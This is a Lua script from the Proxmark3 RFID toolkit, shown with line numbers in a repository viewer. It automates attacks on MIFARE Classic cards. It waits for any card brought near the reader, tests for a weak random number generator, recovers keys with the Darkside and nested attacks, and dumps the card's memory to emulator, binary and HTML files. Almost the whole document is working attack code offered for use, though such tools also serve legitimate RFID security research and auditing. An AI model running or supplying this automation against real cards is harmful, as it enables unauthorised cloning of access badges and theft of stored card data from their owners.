ntag i2c 2k - fast write
[RRG-proxmark3.git] / client / luascripts / hf_mf_autopwn.lua
blob461ea8c7239b7d6a3075990f70f6b2299916f168
1 local getopt = require('getopt')
2 local lib14a = require('read14a')
3 local cmds = require('commands')
4 local utils = require('utils')
5 local ansicolors = require('ansicolors')
7 copyright = ''
8 author = "Martin Holst Swende"
9 version = 'v1.0.4'
10 desc = [[
11 This is a script which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
13 place by the device.
15 Please consider using the native command `hf mf autopwn`
17 example = [[
18 1. script run hf_mf_autopwn
20 usage = [[
21 script run hf_mf_autopwn [-h] [-d] [-k <key>]
23 arguments = [[
24 -h this help
25 -d debug logging on
26 -k known key for Sector 0 , keytype A
29 Output files from this operation:
30 <uid>.eml - emulator file
31 <uid>.html - html file containing card data
32 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
33 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
37 -------------------------------
38 -- Some utilities
39 -------------------------------
40 local DEBUG = false
41 ---
42 -- A debug printout-function
43 local function dbg(args)
44 if not DEBUG then return end
45 if type(args) == 'table' then
46 local i = 1
47 while result[i] do
48 dbg(result[i])
49 i = i+1
50 end
51 else
52 print('###', args)
53 end
54 end
55 ---
56 -- This is only meant to be used when errors occur
57 local function oops(err)
58 print('ERROR:', err)
59 core.clearCommandBuffer()
60 return nil, err
61 end
62 ---
63 -- Usage help
64 local function help()
65 print(copyright)
66 print(author)
67 print(version)
68 print(desc)
69 print(ansicolors.cyan..'Usage'..ansicolors.reset)
70 print(usage)
71 print(ansicolors.cyan..'Arguments'..ansicolors.reset)
72 print(arguments)
73 print(ansicolors.cyan..'Example usage'..ansicolors.reset)
74 print(example)
75 end
76 ---
77 -- Waits for a mifare card to be placed within the vicinity of the reader.
78 -- @return if successful: an table containing card info
79 -- @return if unsuccessful : nil, error
80 local function wait_for_mifare()
81 while not core.kbd_enter_pressed() do
82 res, err = lib14a.read()
83 if res then return res end
84 -- err means that there was no response from card
85 end
86 return nil, 'Aborted by user'
87 end
89 local function get_mf_size(sak)
90 local foo = "--1k"
91 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k | Ev1 4k
92 foo = "--4k"
93 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k | Ev1 1K
94 foo = "--1k"
95 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
96 foo = "--mini"
97 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
98 foo = "--2k"
99 elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
100 foo = "--1k"
101 else
102 print("I don't know how many sectors there are on this type of card, defaulting to 16")
104 return foo
107 local function nested(key, sak)
108 local mfs = get_mf_size(sak)
109 local cmd = string.format('hf mf nested %s --blk 0 -k %s --dump', mfs, key)
110 core.console(cmd)
113 local function dump_tag(uid, sak)
114 dbg('dumping tag memory')
117 if utils.confirm('Do you wish to create a memory dump of tag?') then
119 local dumpfile = 'hf-mf-'..uid..'-dump'
121 local mfs = get_mf_size(sak)
122 local dmp = ('hf mf dump %s -f %s'):format(mfs, dumpfile)
123 core.console(dmp)
125 -- Save the global args, those are *our* arguments
126 local myargs = args
127 -- Set the arguments for data_mf_bin2html script
128 args =('-i %s.bin -o %s.html'):format(dumpfile, dumpfile)
129 -- call it
130 require('data_mf_bin2html')
132 -- Set back args. Not that it's used, just for the karma...
133 args = myargs
137 -- performs a test if tag nonce uses weak or hardend prng
138 local function perform_prng_test()
139 local isweak = core.detect_prng()
140 if isweak == 1 then
141 dbg('PRNG detection : WEAK nonce detected')
142 elseif isweak == 0 then
143 dbg('PRNG detection : HARDEND nonce detected')
144 else
145 dbg('PRNG detection : failed')
147 return isweak
150 -- The main entry point
151 local function main(args)
153 local verbose, _exit, res, uid, err, _, sak
154 local seen_uids = {}
155 local key = ''
156 local print_message = true
157 -- Read the parameters
158 for o, a in getopt.getopt(args, 'hdk:') do
159 if o == 'h' then help() return end
160 if o == 'd' then DEBUG = true end
161 if o == 'k' then key = a end
164 while not _exit do
165 if print_message then
166 print('Waiting for card or press Enter to stop')
167 print_message = false
169 res, err = wait_for_mifare()
170 if err then return oops(err) end
171 -- Seen already?
172 uid = res.uid
173 sak = res.sak
175 if not seen_uids[uid] then
176 -- Store it
177 seen_uids[uid] = uid
179 -- check if PRNG is WEAK
180 if perform_prng_test() == 1 then
181 print('Card found, commencing crack on UID', uid)
183 if #key == 12 then
184 print('Using key: '..key);
185 else
186 -- Crack it
187 local cnt
188 err, res = core.mfDarkside()
189 if err == -1 then return oops('Button pressed. Aborted.')
190 elseif err == -2 then return oops([[Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).]])
191 elseif err == -3 then return oops([[Card is not vulnerable to Darkside attack (its random number generator is not predictable).]])
192 elseif err == -4 then return oops([[
193 Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
194 generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
195 elseif err == -5 then return oops('aborted via keyboard.')
197 -- The key is actually 8 bytes, so a
198 -- 6-byte key is sent as 00XXXXXX
199 -- This means we unpack it as first
200 -- two bytes, then six bytes actual key data
201 -- We can discard first and second return values
202 _,_,key = bin.unpack('H2H6',res)
203 print('Found valid key: '..key);
205 -- Use nested attack
206 nested(key, sak)
207 -- Dump info
208 dump_tag(uid, sak)
210 if #key == 12 then _exit = true end
211 else
212 print('Card found, darkside attack useless PRNG hardend on UID', uid)
214 print_message = true
219 -- Call the main
220 main(args)